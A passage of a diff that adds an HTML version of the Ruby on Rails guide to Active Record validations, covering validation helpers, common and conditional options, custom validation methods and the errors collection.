+&gt;&gt; p.new_record?
+=&gt; false
+</pre>
+</div>
+</notextile>
+
+<p>Creating and saving a new record will send an <span class="caps">SQL</span> <tt>INSERT</tt> operation to the database. Updating an existing record will send an <span class="caps">SQL</span> <tt>UPDATE</tt> operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the <tt>INSERT</tt> or <tt>UPDATE</tt> operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.</p>
+<div class='warning'><p>There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it&#8217;s possible to save an object in the database in an invalid state if you aren&#8217;t careful.</p></div>
+<p>The following methods trigger validations, and will save the object to the database only if the object is valid:</p>
+<ul>
+	<li><tt>create</tt></li>
+	<li><tt>create!</tt></li>
+	<li><tt>save</tt></li>
+	<li><tt>save!</tt></li>
+	<li><tt>update</tt></li>
+	<li><tt>update_attributes</tt></li>
+	<li><tt>update_attributes!</tt></li>
+</ul>
+<p>The bang versions (e.g. <tt>save!</tt>) raise an exception if the record is invalid. The non-bang versions don&#8217;t: <tt>save</tt> and <tt>update_attributes</tt> return <tt>false</tt>, <tt>create</tt> and <tt>update</tt> just return the objects.</p>
+<h4 id="skipping-validations">2.3 Skipping Validations</h4>
+<p>The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.</p>
+<ul>
+	<li><tt>decrement!</tt></li>
+	<li><tt>decrement_counter</tt></li>
+	<li><tt>increment!</tt></li>
+	<li><tt>increment_counter</tt></li>
+	<li><tt>toggle!</tt></li>
+	<li><tt>update_all</tt></li>
+	<li><tt>update_attribute</tt></li>
+	<li><tt>update_counters</tt></li>
+</ul>
+<p>Note that <tt>save</tt> also has the ability to skip validations if passed <tt>:validate => false</tt> as argument. This technique should be used with caution.</p>
+<ul>
+	<li><tt>save(:validate => false)</tt></li>
+</ul>
+<h4 id="valid-and-invalid">2.4 <tt>valid?</tt> and <tt>invalid?</tt></h4>
+<p>To verify whether or not an object is valid, Rails uses the <tt>valid?</tt> method. You can also use this method on your own. <tt>valid?</tt> triggers your validations and returns true if no errors were added to the object, and false otherwise.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_presence_of :name
+end
+
+Person.create(:name =&gt; &quot;John Doe&quot;).valid? # =&gt; true
+Person.create(:name =&gt; nil).valid? # =&gt; false
+</pre>
+</div>
+</notextile>
+
+<p>When Active Record is performing validations, any errors found can be accessed through the <tt>errors</tt> instance method. By definition an object is valid if this collection is empty after running validations.</p>
+<p>Note that an object instantiated with <tt>new</tt> will not report errors even if it&#8217;s technically invalid, because validations are not run when using <tt>new</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_presence_of :name
+end
+
+&gt;&gt; p = Person.new
+=&gt; #&lt;Person id: nil, name: nil&gt;
+&gt;&gt; p.errors
+=&gt; {}
+
+&gt;&gt; p.valid?
+=&gt; false
+&gt;&gt; p.errors
+=&gt; {:name=&gt;[&quot;can't be blank&quot;]}
+
+&gt;&gt; p = Person.create
+=&gt; #&lt;Person id: nil, name: nil&gt;
+&gt;&gt; p.errors
+=&gt; {:name=&gt;[&quot;can't be blank&quot;]}
+
+&gt;&gt; p.save
+=&gt; false
+
+&gt;&gt; p.save!
+=&gt; ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+&gt;&gt; Person.create!
+=&gt; ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+</pre>
+</div>
+</notextile>
+
+<p><tt>invalid?</tt> is simply the inverse of <tt>valid?</tt>. <tt>invalid?</tt> triggers your validations and returns true if any errors were added to the object, and false otherwise.</p>
+<h4 id="validations_overview-errors">2.5 <tt>errors[]</tt></h4>
+<p>To verify whether or not a particular attribute of an object is valid, you can use <tt>errors[:attribute]</tt> that returns an array with all attribute errors, when there are no errors on the specified attribute, an empty array is returned.</p>
+<p>This method is only useful <em>after</em> validations have been run, because it only inspects the errors collection and does not trigger validations itself. It&#8217;s different from the <tt>ActiveRecord::Base#invalid?</tt> method explained above because it doesn&#8217;t verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_presence_of :name
+end
+
+&gt;&gt; Person.new.errors[:name].any? # =&gt; false
+&gt;&gt; Person.create.errors[:name].any? # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>We&#8217;ll cover validation errors in greater depth in the <a href="#working-with-validation-errors">Working with Validation Errors</a> section. For now, let&#8217;s turn to the built-in validation helpers that Rails provides by default.</p>
+<h3 id="validation-helpers">3 Validation Helpers</h3>
+<p>Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object&#8217;s <tt>errors</tt> collection, and this message is associated with the field being validated.</p>
+<p>Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.</p>
+<p>All of them accept the <tt>:on</tt> and <tt>:message</tt> options, which define when the validation should be run and what message should be added to the <tt>errors</tt> collection if it fails, respectively. The <tt>:on</tt> option takes one of the values <tt>:save</tt> (the default), <tt>:create</tt>  or <tt>:update</tt>. There is a default error message for each one of the validation helpers. These messages are used when the <tt>:message</tt> option isn&#8217;t specified. Let&#8217;s take a look at each one of the available helpers.</p>
+<h4 id="validates_acceptance_of">3.1 <tt>validates_acceptance_of</tt></h4>
+<p>Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application&#8217;s terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this &#8216;acceptance&#8217; does not need to be recorded anywhere in your database (if you don&#8217;t have a field for it, the helper will just create a virtual attribute).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_acceptance_of :terms_of_service
+end
+</pre>
+</div>
+</notextile>
+
+<p>The default error message for <tt>validates_acceptance_of</tt> is &#8220;<em>must be accepted</em>&#8221;.</p>
+<p><tt>validates_acceptance_of</tt> can receive an <tt>:accept</tt> option, which determines the value that will be considered acceptance. It defaults to &#8220;1&#8221;, but you can change this.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_acceptance_of :terms_of_service, :accept =&gt; 'yes'
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="validates_associated">3.2 <tt>validates_associated</tt></h4>
+<p>You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, <tt>valid?</tt> will be called upon each one of the associated objects.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Library &lt; ActiveRecord::Base
+  has_many :books
+  validates_associated :books
+end
+</pre>
+</div>
+</notextile>
+
+<p>This validation will work with all of the association types.</p>
+<div class='warning'><p>Don&#8217;t use <tt>validates_associated</tt> on both ends of your associations, they would call each other in an infinite loop.</p></div>
+<p>The default error message for <tt>validates_associated</tt> is &#8220;<em>is invalid</em>&#8221;. Note that each associated object will contain its own <tt>errors</tt> collection; errors do not bubble up to the calling model.</p>
+<h4 id="validates_confirmation_of">3.3 <tt>validates_confirmation_of</tt></h4>
+<p>You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with &#8220;_confirmation&#8221; appended.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_confirmation_of :email
+end
+</pre>
+</div>
+</notextile>
+
+<p>In your view template you could use something like</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= text_field :person, :email %&gt;
+&lt;%= text_field :person, :email_confirmation %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This check is performed only if <tt>email_confirmation</tt> is not <tt>nil</tt>. To require confirmation, make sure to add a presence check for the confirmation attribute (we&#8217;ll take a look at <tt>validates_presence_of</tt> later on this guide):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_confirmation_of :email
+  validates_presence_of :email_confirmation
+end
+</pre>
+</div>
+</notextile>
+
+<p>The default error message for <tt>validates_confirmation_of</tt> is &#8220;<em>doesn&#8217;t match confirmation</em>&#8221;.</p>
+<h4 id="validates_exclusion_of">3.4 <tt>validates_exclusion_of</tt></h4>
+<p>This helper validates that the attributes&#8217; values are not included in a given set. In fact, this set can be any enumerable object.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Account &lt; ActiveRecord::Base
+  validates_exclusion_of :subdomain, :in =&gt; %w(www),
+    :message =&gt; &quot;Subdomain %{value} is reserved.&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>validates_exclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will not be accepted for the validated attributes. The <tt>:in</tt> option has an alias called <tt>:within</tt> that you can use for the same purpose, if you&#8217;d like to. This example uses the <tt>:message</tt> option to show how you can include the attribute&#8217;s value.</p>
+<p>The default error message for <tt>validates_exclusion_of</tt> is &#8220;<em>is reserved</em>&#8221;.</p>
+<h4 id="validates_format_of">3.5 <tt>validates_format_of</tt></h4>
+<p>This helper validates the attributes&#8217; values by testing whether they match a given regular expression, which is specified using the <tt>:with</tt> option.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Product &lt; ActiveRecord::Base
+  validates_format_of :legacy_code, :with =&gt; /\A[a-zA-Z]+\z/,
+    :message =&gt; &quot;Only letters allowed&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>The default error message for <tt>validates_format_of</tt> is &#8220;<em>is invalid</em>&#8221;.</p>
+<h4 id="validates_inclusion_of">3.6 <tt>validates_inclusion_of</tt></h4>
+<p>This helper validates that the attributes&#8217; values are included in a given set. In fact, this set can be any enumerable object.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Coffee &lt; ActiveRecord::Base
+  validates_inclusion_of :size, :in =&gt; %w(small medium large),
+    :message =&gt; &quot;%{value} is not a valid size&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>validates_inclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will be accepted. The <tt>:in</tt> option has an alias called <tt>:within</tt> that you can use for the same purpose, if you&#8217;d like to. The previous example uses the <tt>:message</tt> option to show how you can include the attribute&#8217;s value.</p>
+<p>The default error message for <tt>validates_inclusion_of</tt> is &#8220;<em>is not included in the list</em>&#8221;.</p>
+<h4 id="validates_length_of">3.7 <tt>validates_length_of</tt></h4>
+<p>This helper validates the length of the attributes&#8217; values. It provides a variety of options, so you can specify length constraints in different ways:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_length_of :name, :minimum =&gt; 2
+  validates_length_of :bio, :maximum =&gt; 500
+  validates_length_of :password, :in =&gt; 6..20
+  validates_length_of :registration_number, :is =&gt; 6
+end
+</pre>
+</div>
+</notextile>
+
+<p>The possible length constraint options are:</p>
+<ul>
+	<li><tt>:minimum</tt> &#8211; The attribute cannot have less than the specified length.</li>
+	<li><tt>:maximum</tt> &#8211; The attribute cannot have more than the specified length.</li>
+	<li><tt>:in</tt> (or <tt>:within</tt>) &#8211; The attribute length must be included in a given interval. The value for this option must be a range.</li>
+	<li><tt>:is</tt> &#8211; The attribute length must be equal to the given value.</li>
+</ul>
+<p>The default error messages depend on the type of length validation being performed. You can personalize these messages using the <tt>:wrong_length</tt>, <tt>:too_long</tt>, and <tt>:too_short</tt> options and <tt>%{count}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the <tt>:message</tt> option to specify an error message.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_length_of :bio, :maximum =&gt; 1000,
+    :too_long =&gt; &quot;%{count} characters is the maximum allowed&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>This helper counts characters by default, but you can split the value in a different way using the <tt>:tokenizer</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Essay &lt; ActiveRecord::Base
+  validates_length_of :content,
+    :minimum   =&gt; 300,
+    :maximum   =&gt; 400,
+    :tokenizer =&gt; lambda { |str| str.scan(/\w+/) },
+    :too_short =&gt; &quot;must have at least %{count} words&quot;,
+    :too_long  =&gt; &quot;must have at most %{count} words&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>validates_size_of</tt> helper is an alias for <tt>validates_length_of</tt>.</p>
+<h4 id="validates_numericality_of">3.8 <tt>validates_numericality_of</tt></h4>
+<p>This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set <tt>:only_integer</tt> to true.</p>
+<p>If you set <tt>:only_integer</tt> to <tt>true</tt>, then it will use the</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+/\A[+-]?\d+\Z/
+</pre>
+</div>
+</notextile>
+
+<p>regular expression to validate the attribute&#8217;s value. Otherwise, it will try to convert the value to a number using <tt>Float</tt>.</p>
+<div class='warning'><p>Note that the regular expression above allows a trailing newline character.</p></div>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Player &lt; ActiveRecord::Base
+  validates_numericality_of :points
+  validates_numericality_of :games_played, :only_integer =&gt; true
+end
+</pre>
+</div>
+</notextile>
+
+<p>Besides <tt>:only_integer</tt>, the <tt>validates_numericality_of</tt> helper also accepts the following options to add constraints to acceptable values:</p>
+<ul>
+	<li><tt>:greater_than</tt> &#8211; Specifies the value must be greater than the supplied value. The default error message for this option is &#8220;<em>must be greater than %{count}</em>&#8221;.</li>
+	<li><tt>:greater_than_or_equal_to</tt> &#8211; Specifies the value must be greater than or equal to the supplied value. The default error message for this option is &#8220;<em>must be greater than or equal to %{count}</em>&#8221;.</li>
+	<li><tt>:equal_to</tt> &#8211; Specifies the value must be equal to the supplied value. The default error message for this option is &#8220;<em>must be equal to %{count}</em>&#8221;.</li>
+	<li><tt>:less_than</tt> &#8211; Specifies the value must be less than the supplied value. The default error message for this option is &#8220;<em>must be less than %{count}</em>&#8221;.</li>
+	<li><tt>:less_than_or_equal_to</tt> &#8211; Specifies the value must be less than or equal the supplied value. The default error message for this option is &#8220;<em>must be less than or equal to %{count}</em>&#8221;.</li>
+	<li><tt>:odd</tt> &#8211; Specifies the value must be an odd number if set to true. The default error message for this option is &#8220;<em>must be odd</em>&#8221;.</li>
+	<li><tt>:even</tt> &#8211; Specifies the value must be an even number if set to true. The default error message for this option is &#8220;<em>must be even</em>&#8221;.</li>
+</ul>
+<p>The default error message for <tt>validates_numericality_of</tt> is &#8220;<em>is not a number</em>&#8221;.</p>
+<h4 id="validates_presence_of">3.9 <tt>validates_presence_of</tt></h4>
+<p>This helper validates that the specified attributes are not empty. It uses the <tt>blank?</tt> method to check if the value is either <tt>nil</tt> or a blank string, that is, a string that is either empty or consists of whitespace.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_presence_of :name, :login, :email
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you want to be sure that an association is present, you&#8217;ll need to test whether the foreign key used to map the association is present, and not the associated object itself.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LineItem &lt; ActiveRecord::Base
+  belongs_to :order
+  validates_presence_of :order_id
+end
+</pre>
+</div>
+</notextile>
+
+<p>Since <tt>false.blank?</tt> is true, if you want to validate the presence of a boolean field you should use <tt>validates_inclusion_of :field_name, :in => [true, false]</tt>.</p>
+<p>The default error message for <tt>validates_presence_of</tt> is &#8220;<em>can&#8217;t be empty</em>&#8221;.</p>
+<h4 id="validates_uniqueness_of">3.10 <tt>validates_uniqueness_of</tt></h4>
+<p>This helper validates that the attribute&#8217;s value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Account &lt; ActiveRecord::Base
+  validates_uniqueness_of :email
+end
+</pre>
+</div>
+</notextile>
+
+<p>The validation happens by performing an <span class="caps">SQL</span> query into the model&#8217;s table, searching for an existing record with the same value in that attribute.</p>
+<p>There is a <tt>:scope</tt> option that you can use to specify other attributes that are used to limit the uniqueness check:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Holiday &lt; ActiveRecord::Base
+  validates_uniqueness_of :name, :scope =&gt; :year,
+    :message =&gt; &quot;should happen once per year&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>There is also a <tt>:case_sensitive</tt> option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_uniqueness_of :name, :case_sensitive =&gt; false
+end
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Note that some databases are configured to perform case-insensitive searches anyway.</p></div>
+<p>The default error message for <tt>validates_uniqueness_of</tt> is &#8220;<em>has already been taken</em>&#8221;.</p>
+<h4 id="validates_with">3.11 <tt>validates_with</tt></h4>
+<p>This helper passes the record to a separate class for validation.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_with GoodnessValidator
+end
+
+class GoodnessValidator &lt; ActiveRecord::Validator
+  def validate
+    if record.first_name == &quot;Evil&quot;
+      record.errors[:base] &lt;&lt; &quot;This person is evil&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>validates_with</tt> helper takes a class, or a list of classes to use for validation. There is no default error message for <tt>validates_with</tt>. You must manually add errors to the record&#8217;s errors collection in the validator class.</p>
+<p>The validator class has two attributes by default:</p>
+<ul>
+	<li><tt>record</tt> &#8211; the record to be validated</li>
+	<li><tt>options</tt> &#8211; the extra options that were passed to <tt>validates_with</tt></li>
+</ul>
+<p>Like all other validations, <tt>validates_with</tt> takes the <tt>:if</tt>, <tt>:unless</tt> and <tt>:on</tt> options. If you pass any other options, it will send those options to the validator class as <tt>options</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_with GoodnessValidator, :fields =&gt; [:first_name, :last_name]
+end
+
+class GoodnessValidator &lt; ActiveRecord::Validator
+  def validate
+    if options[:fields].any?{|field| record.send(field) == &quot;Evil&quot; }
+      record.errors[:base] &lt;&lt; &quot;This person is evil&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="validates_each">3.12 <tt>validates_each</tt></h4>
+<p>This helper validates attributes against a block. It doesn&#8217;t have a predefined validation function. You should create one using a block, and every attribute passed to <tt>validates_each</tt> will be tested against it. In the following example, we don&#8217;t want names and surnames to begin with lower case.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_each :name, :surname do |model, attr, value|
+    model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The block receives the model, the attribute&#8217;s name and the attribute&#8217;s value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.</p>
+<h3 id="common-validation-options">4 Common Validation Options</h3>
+<p>There are some common options that all the validation helpers can use. Here they are, except for the <tt>:if</tt> and <tt>:unless</tt> options, which are discussed later in <a href="#conditional-validation">Conditional Validation</a>.</p>
+<h4 id="allow_nil">4.1 <tt>:allow_nil</tt></h4>
+<p>The <tt>:allow_nil</tt> option skips the validation when the value being validated is <tt>nil</tt>. Using <tt>:allow_nil</tt> with <tt>validates_presence_of</tt> allows for <tt>nil</tt>, but any other <tt>blank?</tt> value will still be rejected.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Coffee &lt; ActiveRecord::Base
+  validates_inclusion_of :size, :in =&gt; %w(small medium large),
+    :message =&gt; &quot;%{value} is not a valid size&quot;, :allow_nil =&gt; true
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="allow_blank">4.2 <tt>:allow_blank</tt></h4>
+<p>The <tt>:allow_blank</tt> option is similar to the <tt>:allow_nil</tt> option. This option will let validation pass if the attribute&#8217;s value is <tt>blank?</tt>, like <tt>nil</tt> or an empty string for example.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Topic &lt; ActiveRecord::Base
+  validates_length_of :title, :is =&gt; 5, :allow_blank =&gt; true
+end
+
+Topic.create(&quot;title&quot; =&gt; &quot;&quot;).valid? # =&gt; true
+Topic.create(&quot;title&quot; =&gt; nil).valid? # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<h4 id="message">4.3 <tt>:message</tt></h4>
+<p>As you&#8217;ve already seen, the <tt>:message</tt> option lets you specify the message that will be added to the <tt>errors</tt> collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.</p>
+<h4 id="on">4.4 <tt>:on</tt></h4>
+<p>The <tt>:on</tt> option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you&#8217;re creating a new record and when you&#8217;re updating it). If you want to change it, you can use <tt>:on => :create</tt> to run the validation only when a new record is created or <tt>:on => :update</tt> to run the validation only when a record is updated.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  # it will be possible to update email with a duplicated value
+  validates_uniqueness_of :email, :on =&gt; :create
+
+  # it will be possible to create the record with a non-numerical age
+  validates_numericality_of :age, :on =&gt; :update
+
+  # the default (validates on both create and update)
+  validates_presence_of :name, :on =&gt; :save
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="conditional-validation">5 Conditional Validation</h3>
+<p>Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the <tt>:if</tt> and <tt>:unless</tt> options, which can take a symbol, a string or a <tt>Proc</tt>. You may use the <tt>:if</tt> option when you want to specify when the validation <strong>should</strong> happen. If you want to specify when the validation <strong>should not</strong> happen, then you may use the <tt>:unless</tt> option.</p>
+<h4 id="using-a-symbol-with-if-and-unless">5.1 Using a Symbol with <tt>:if</tt> and <tt>:unless</tt></h4>
+<p>You can associate the <tt>:if</tt> and <tt>:unless</tt> options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  validates_presence_of :card_number, :if =&gt; :paid_with_card?
+
+  def paid_with_card?
+    payment_type == &quot;card&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="using-a-string-with-if-and-unless">5.2 Using a String with <tt>:if</tt> and <tt>:unless</tt></h4>
+<p>You can also use a string that will be evaluated using <tt>eval</tt> and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_presence_of :surname, :if =&gt; &quot;name.nil?&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="using-a-proc-with-if-and-unless">5.3 Using a Proc with <tt>:if</tt> and <tt>:unless</tt></h4>
+<p>Finally, it&#8217;s possible to associate <tt>:if</tt> and <tt>:unless</tt> with a <tt>Proc</tt> object which will be called. Using a <tt>Proc</tt> object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Account &lt; ActiveRecord::Base
+  validates_confirmation_of :password,
+    :unless =&gt; Proc.new { |a| a.password.blank? }
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="creating-custom-validation-methods">6 Creating Custom Validation Methods</h3>
+<p>When the built-in validation helpers are not enough for your needs, you can write your own validation methods.</p>
+<p>Simply create methods that verify the state of your models and add messages to the <tt>errors</tt> collection when they are invalid. You must then register these methods by using one or more of the <tt>validate</tt>, <tt>validate_on_create</tt> or <tt>validate_on_update</tt> class methods, passing in the symbols for the validation methods&#8217; names.</p>
+<p>You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Invoice &lt; ActiveRecord::Base
+  validate :expiration_date_cannot_be_in_the_past,
+    :discount_cannot_be_greater_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    errors.add(:expiration_date, &quot;can't be in the past&quot;) if
+      !expiration_date.blank? and expiration_date &lt; Date.today
+  end
+
+  def discount_cannot_be_greater_than_total_value
+    errors.add(:discount, &quot;can't be greater than total value&quot;) if
+      discount &gt; total_value
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can even create your own validation helpers and reuse them in several different models. For example, an application that manages surveys may find it useful to express that a certain field corresponds to a set of choices:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActiveRecord::Base.class_eval do
+  def self.validates_as_choice(attr_name, n, options={})
+    validates_inclusion_of attr_name, {:in =&gt; 1..n}.merge(options)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Simply reopen <tt>ActiveRecord::Base</tt> and define a class method like that. You&#8217;d typically put this code somewhere in <tt>config/initializers</tt>. You can use this helper like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Movie &lt; ActiveRecord::Base
+  validates_as_choice :rating, 5
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="working-with-validation-errors">7 Working with Validation Errors</h3>
+<p>In addition to the <tt>valid?</tt> and <tt>invalid?</tt> methods covered earlier, Rails provides a number of methods for working with the <tt>errors</tt> collection and inquiring about the validity of objects.</p>
+<p>The following is a list of the most commonly used methods. Please refer to the <tt>ActiveRecord::Errors</tt> documentation for a list of all the available methods.</p>
+<h4 id="working_with_validation_errors-errors">7.1 <tt>errors</tt></h4>
+<p>Returns an OrderedHash with all errors. Each key is the attribute name and the value is an array of strings with all errors.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of :name, :minimum =&gt; 3
+end
+
+person = Person.new
+person.valid? # =&gt; false
+person.errors
+ # =&gt; {:name =&gt; [&quot;can't be blank&quot;, &quot;is too short (minimum is 3 characters)&quot;]}
+
+person = Person.new(:name =&gt; &quot;John Doe&quot;)
+person.valid? # =&gt; true
+person.errors # =&gt; []
+</pre>
+</div>
+</notextile>
+
+<h4 id="working_with_validation_errors-errors-2">7.2 <tt>errors[]</tt></h4>
+<p><tt>errors[]</tt> is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of :name, :minimum =&gt; 3
+end
+
+person = Person.new(:name =&gt; &quot;John Doe&quot;)
+person.valid? # =&gt; true
+person.errors[:name] # =&gt; []
+
+person = Person.new(:name =&gt; &quot;JD&quot;)
+person.valid? # =&gt; false
+person.errors[:name] # =&gt; [&quot;is too short (minimum is 3 characters)&quot;]
+
+person = Person.new
+person.valid? # =&gt; false
+person.errors[:name]
+ # =&gt; [&quot;can't be blank&quot;, &quot;is too short (minimum is 3 characters)&quot;]
+</pre>
+</div>
+</notextile>
+
+<h4 id="errors-add">7.3 <tt>errors.add</tt></h4>
+<p>The <tt>add</tt> method lets you manually add messages that are related to particular attributes. You can use the <tt>errors.full_messages</tt> or <tt>errors.to_a</tt> methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). <tt>add</tt> receives the name of the attribute you want to add the message to, and the message itself.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors.add(:name, &quot;cannot contain the characters !@#%*()_-+=&quot;)
+  end
+end
+
+person = Person.create(:name =&gt; &quot;!@#&quot;)
+
+person.errors[:name]
+ # =&gt; [&quot;cannot contain the characters !@#%*()_-+=&quot;]
+
+person.errors.full_messages
+ # =&gt; [&quot;Name cannot contain the characters !@#%*()_-+=&quot;]
+</pre>
+</div>
+</notextile>
+
+<p>Another way to do this is using <tt>[]=</tt> setter</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+    def a_method_used_for_validation_purposes
+      errors[:name] = &quot;cannot contain the characters !@#%*()_-+=&quot;
+    end
+  end
+
+  person = Person.create(:name =&gt; &quot;!@#&quot;)
+
+  person.errors[:name]
